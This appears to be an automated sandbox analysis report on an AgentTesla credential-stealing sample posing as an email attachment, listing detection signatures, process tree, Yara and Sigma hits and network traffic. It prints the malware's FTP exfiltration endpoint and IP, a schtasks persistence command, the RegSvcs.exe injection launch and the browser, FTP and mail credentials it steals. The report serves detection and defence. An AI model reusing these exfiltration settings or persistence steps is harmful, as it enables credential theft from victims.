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Analysis Report Following abusive email letter .exe

Overview

General Information

Sample Name:	Following abusive email letter .exe
Analysis ID:	433262
MD5:	368a0ec11590e137b1cd5405cd0591db
SHA1:	48c11cb189d44ae0c30b32f0aba41d4c52568c44
SHA256:	c0b43d27c73d2a64f25a1e095a10dcf339635d9c48c6d612b37eba084341e103
Tags:	exe
Infos:
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains very large array initializations

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Suspicious Process Start Without DLL

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Uses schtasks.exe or at.exe to add and modify task schedules

Antivirus or Machine Learning detection for unpacked file

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains strange resources

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses FTP

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Following abusive email letter .exe (PID: 3888 cmdline: 'C:\Users\user\Desktop\Following abusive email letter .exe' MD5: 368A0EC11590E137B1CD5405CD0591DB)

schtasks.exe (PID: 4084 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\VUGIHQGciwlxDd' /XML 'C:\Users\user\AppData\Local\Temp\tmp1045.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 4884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RegSvcs.exe (PID: 3352 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "FTP Info": "ftp://files.000webhost.com/zincocomputer147"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.464217016.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.464217016.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000004.00000000.209849248.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000000.209849248.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000004.00000002.468629357.000000000308F000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 3352	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 3352	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Following abusive email letter .exe PID: 3888	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Following abusive email letter .exe PID: 3888	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
4.0.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.0.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Following abusive email letter .exe.4183028.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Following abusive email letter .exe.4183028.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Following abusive email letter .exe.4183028.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Following abusive email letter .exe.4183028.2.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Click to see the 3 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Process Start Without DLL

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: 'C:\Users\user\Desktop\Following abusive email letter .exe' , ParentImage: C:\Users\user\Desktop\Following abusive email letter .exe, ParentProcessId: 3888, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 3352

Sigma detected: Possible Applocker Bypass

Show sources

Source: Process started

Author: juju4: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: 'C:\Users\user\Desktop\Following abusive email letter .exe' , ParentImage: C:\Users\user\Desktop\Following abusive email letter .exe, ParentProcessId: 3888, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 3352

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 4.2.RegSvcs.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "FTP Info": "ftp://files.000webhost.com/zincocomputer147"}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\VUGIHQGciwlxDd.exe

ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Show sources

Source: Following abusive email letter .exe	Virustotal: Detection: 32%			Perma Link
Source: Following abusive email letter .exe	ReversingLabs: Detection: 32%

Source: 4.2.RegSvcs.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 4.0.RegSvcs.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8

Source: Following abusive email letter .exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: Following abusive email letter .exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: OpenExistingResult.pdb source: Following abusive email letter .exe
Source:	Binary string: OpenExistingResult.pdbH source: Following abusive email letter .exe

Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2029927 ET TROJAN AgentTesla Exfil via FTP 192.168.2.3:49741 -> 145.14.145.177:21
Source: Traffic	Snort IDS: 2029928 ET TROJAN AgentTesla HTML System Info Report Exfil via FTP 192.168.2.3:49742 -> 145.14.145.177:30339

Source: global traffic

TCP traffic: 192.168.2.3:49742 -> 145.14.145.177:30339

Source: Joe Sandbox View

IP Address: 145.14.145.177 145.14.145.177

Source: Joe Sandbox View

ASN Name: AWEXUS AWEXUS

Source: unknown

FTP traffic detected: 145.14.145.177:21 -> 192.168.2.3:49741 220 ProFTPD Server (000webhost.com) [::ffff:145.14.145.177]

Source: unknown

DNS traffic detected: queries for: files.000webhost.com

Source: RegSvcs.exe, 00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: ftp://files.000webhost.com/zincocomputer147STORLengthWriteCloseGetBytesOpera
Source: RegSvcs.exe, 00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: RegSvcs.exe, 00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://CqZTYA.com
Source: RegSvcs.exe, 00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: RegSvcs.exe, 00000004.00000002.468629357.000000000308F000.00000004.00000001.sdmp	String found in binary or memory: http://JC95xwwqEnXy3nGe.net
Source: RegSvcs.exe, 00000004.00000002.468629357.000000000308F000.00000004.00000001.sdmp	String found in binary or memory: http://JC95xwwqEnXy3nGe.netL
Source: RegSvcs.exe, 00000004.00000002.469009805.0000000003111000.00000004.00000001.sdmp	String found in binary or memory: http://files.000webhost.com
Source: Following abusive email letter .exe, 00000000.00000002.211148958.00000000030C1000.00000004.00000001.sdmp, RegSvcs.exe, 00000004.00000002.468959194.0000000003103000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000004.00000002.469009805.0000000003111000.00000004.00000001.sdmp	String found in binary or memory: http://us-east-1.route-1000.000webhost.awex.io
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css
Source: Following abusive email letter .exe, 00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp, RegSvcs.exe, 00000004.00000002.464217016.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: RegSvcs.exe, 00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 4.0.RegSvcs.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007bF52F2392u002d8C75u002d4729u002dA1E6u002d025BFAA162F9u007d/CB8ACA7Au002d9CEBu002d462Du002dA49Bu002dF669480A59B6.cs

Large array initialization: .cctor: array initializer size 11932

Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_00A7264C
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_016C9AA8
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_016CC750
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_016C9948
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_02E132F0
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_02E106E0
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_02E106D0
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_02E10B70
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_02E10B5F
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A3EED0
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A3F650
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A31D28
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A35D31
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A31D38
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A33519
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A35D40
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A31480
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A34468
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A3AC70
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A34458
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A3A7F0
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A32720
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A32730
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A31769
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A31778
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A39F50
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A356E0
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A356D2
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A33610
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A32189
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A32198
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A3C198
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A30920
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A30930
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A39948
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A358E8
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A358D8
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A35039
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A36805
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A36808
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A32040
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A35048
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A35B38
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A35B48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BA0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BAE018
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BA8D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BA3FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BA0CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BA94C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BA2C08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BAD9E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BA8B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BB00E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BBA870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BB2920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BB7AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BB6678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BB6BF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BBEF30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BB0720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BB2D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BB87A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BCB060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BC2D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BCDEC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BC1FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BCA720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BC2768
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BC9DB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_010B47A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_010B479F

Source: Following abusive email letter .exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: VUGIHQGciwlxDd.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Following abusive email letter .exe, 00000000.00000002.215243237.000000000C230000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs Following abusive email letter .exe
Source: Following abusive email letter .exe, 00000000.00000002.215243237.000000000C230000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs Following abusive email letter .exe
Source: Following abusive email letter .exe, 00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameKygo.dll* vs Following abusive email letter .exe
Source: Following abusive email letter .exe, 00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameTGqXBSLBNqFAlVDcDrdeyUgg.exe4 vs Following abusive email letter .exe
Source: Following abusive email letter .exe, 00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDSASignature.dll@ vs Following abusive email letter .exe
Source: Following abusive email letter .exe, 00000000.00000002.214907946.000000000C130000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs Following abusive email letter .exe
Source: Following abusive email letter .exe, 00000000.00000000.199906618.0000000000B50000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameOpenExistingResult.exe< vs Following abusive email letter .exe
Source: Following abusive email letter .exe	Binary or memory string: OriginalFilenameOpenExistingResult.exe< vs Following abusive email letter .exe

Source: Following abusive email letter .exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: Following abusive email letter .exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: VUGIHQGciwlxDd.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: Following abusive email letter .exe, vJiGl01UUJfXfNWas3/DyyVDbaRvM1YfIq9il.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Following abusive email letter .exe, vJiGl01UUJfXfNWas3/DyyVDbaRvM1YfIq9il.cs	Cryptographic APIs: 'CreateDecryptor'
Source: VUGIHQGciwlxDd.exe.0.dr, vJiGl01UUJfXfNWas3/DyyVDbaRvM1YfIq9il.cs	Cryptographic APIs: 'CreateDecryptor'
Source: VUGIHQGciwlxDd.exe.0.dr, vJiGl01UUJfXfNWas3/DyyVDbaRvM1YfIq9il.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.0.RegSvcs.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.RegSvcs.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/4@2/1

Source: C:\Users\user\Desktop\Following abusive email letter .exe

File created: C:\Users\user\AppData\Roaming\VUGIHQGciwlxDd.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4884:120:WilError_01

Source: C:\Users\user\Desktop\Following abusive email letter .exe

File created: C:\Users\user\AppData\Local\Temp\tmp1045.tmp

Jump to behavior

Source: Following abusive email letter .exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Following abusive email letter .exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Following abusive email letter .exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Following abusive email letter .exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: Select * from Clientes WHERE id=@id;;
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: Select * from Aluguel Erro ao listar Banco sql-Aluguel.INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE id=@id;
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE modelo=@modelo;
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO SecurityLogonType VALUES(@modelo, @fabricante, @ano, @cor);
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonTypeErro ao listar Banco sql-SecurityLogonType,Select from SecurityLogonType WHERE id=@id;Select * from SecurityLogonType WHERE (modelo LIKE @modelo)

Source: Following abusive email letter .exe	Virustotal: Detection: 32%
Source: Following abusive email letter .exe	ReversingLabs: Detection: 32%

Source: C:\Users\user\Desktop\Following abusive email letter .exe

File read: C:\Users\user\Desktop\Following abusive email letter .exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Following abusive email letter .exe 'C:\Users\user\Desktop\Following abusive email letter .exe'
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\VUGIHQGciwlxDd' /XML 'C:\Users\user\AppData\Local\Temp\tmp1045.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\VUGIHQGciwlxDd' /XML 'C:\Users\user\AppData\Local\Temp\tmp1045.tmp'
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Source: C:\Users\user\Desktop\Following abusive email letter .exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Source: C:\Users\user\Desktop\Following abusive email letter .exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Following abusive email letter .exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Following abusive email letter .exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: Following abusive email letter .exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: OpenExistingResult.pdb source: Following abusive email letter .exe
Source:	Binary string: OpenExistingResult.pdbH source: Following abusive email letter .exe

Data Obfuscation:

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: Following abusive email letter .exe, vJiGl01UUJfXfNWas3/DyyVDbaRvM1YfIq9il.cs	.Net Code: stackVariable5.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: VUGIHQGciwlxDd.exe.0.dr, vJiGl01UUJfXfNWas3/DyyVDbaRvM1YfIq9il.cs	.Net Code: stackVariable5.GetMethod("GetDelegateForFunctionPointer", V_0)

Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_00A75DCB pushfd ; retf
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_016CE8F0 pushfd ; ret
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_02E132F0 push 840617CBh; retf
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A36DE6 push esi; ret
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Code function: 0_2_05A37790 push esp; iretd
